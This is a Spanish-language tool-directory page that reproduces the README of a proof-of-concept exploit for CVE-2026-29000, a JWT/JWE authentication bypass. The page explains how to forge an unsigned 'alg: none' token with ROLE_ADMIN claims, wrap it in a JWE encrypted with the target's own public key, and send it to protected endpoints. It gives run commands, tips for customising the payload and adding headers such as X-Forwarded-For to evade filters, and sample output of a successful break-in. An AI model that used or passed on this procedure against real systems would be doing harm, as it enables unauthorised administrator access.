Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-29000 — PoC del CVE-2026-29000 | Kitploit
Herramientas/GitHubGitHub/zf-tm/cve-2026-29000
Autenticación y AutorizaciónHerramientas de Cifrado/DescifradoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

PoC del CVE-2026-29000

Ver Repositorio
16hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC de Bypass de Autenticación JWT/JWE

Un script de Prueba de Concepto (PoC) que demuestra una vulnerabilidad de bypass de autenticación mediante JSON Web Tokens (JWT) y JSON Web Encryption (JWE). Esta herramienta explota entornos que validan incorrectamente los algoritmos de token al aceptar JWTs no verificados (alg: none) envueltos dentro de una estructura JWE válida.

Cómo Funciona

Esta cadena de exploit aprovecha una falla común de implementación criptográfica:

  1. Extracción de Clave: El script se conecta al endpoint jwks (JSON Web Key Set) expuesto públicamente del objetivo y descarga la clave RSA pública del servidor.
  2. Falsificación de Token: Crea un payload JWT falso y no verificado que otorga privilegios de ROLE_ADMIN. Establece intencionalmente el encabezado de algoritmo a "alg": "none".
  3. Envoltura JWE: Para evitar los filtros de seguridad iniciales que podrían rechazar tokens en texto plano o no verificados, cifra el JWT falso usando la clave pública del propio servidor, empaquetándolo en un JWE válido.
  4. Autenticación: El JWE falsificado se envía al panel protegido del objetivo mediante el encabezado Authorization: Bearer. Si el servidor descifra el JWE y confía ciegamente en el JWT interno sin verificar su firma, se concede el acceso.

Requisitos Previos

Antes de ejecutar el script, asegúrate de tener Python 3 instalado junto con las dependencias necesarias.

root@kitploit:~
pip install requests jwcrypto

Uso

El script requiere dos argumentos: la URL del panel objetivo que quieres probar y la URL donde están alojadas las claves públicas.

root@kitploit:~
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

Personalizando el Exploit

Dependiendo de tu objetivo, puede que necesites ajustar la estructura del token o las peticiones HTTP para evitar filtros específicos.

  1. Personalizando los Encabezados y el Payload del JWT Interno

Si el servidor objetivo espera campos específicos dentro del propio JWT (como un encabezado typ, o IDs de usuario personalizados en el payload), puedes añadirlos fácilmente.

Abre exploit.py y localiza esta sección:

root@kitploit:~
token_header_information = {
    "alg": "none"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

Puedes añadir cualquier campo que quieras separado por comas. Por ejemplo, para añadir un typ (Type) y un kid (Key ID) al encabezado del JWT, y un email personalizado al payload:

root@kitploit:~
token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. Personalizando los Encabezados HTTP

Si tu objetivo requiere encabezados de red específicos (como un User-Agent personalizado, encabezados de bypass como X-Forwarded-For, o claves API), localiza la petición de red al final del script:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

Añade tus encabezados de red adicionales de esta manera:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

Nota: Si también necesitas que estos encabezados se envíen durante la descarga inicial de la clave pública, puedes pasar este mismo diccionario a la llamada requests.get() al principio del script.

Salida Esperada

Cuando tiene éxito, el script mostrará el token falsificado y la respuesta analizada del endpoint restringido, demostrando el bypass:

root@kitploit:~
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

Solución de Problemas

  • Errores HTTP 401/403: El servidor objetivo está validando correctamente las firmas y rechazando el payload alg: none. El exploit falló porque el objetivo es seguro.

  • Errores de Conexión: Asegúrate de que las URLs proporcionadas incluyan el esquema completo (http:// o https://) y que el servidor objetivo esté actualmente accesible.

  • Errores de Dependencias: Asegúrate de que jwcrypto esté correctamente instalado mediante pip.

Descargar herramienta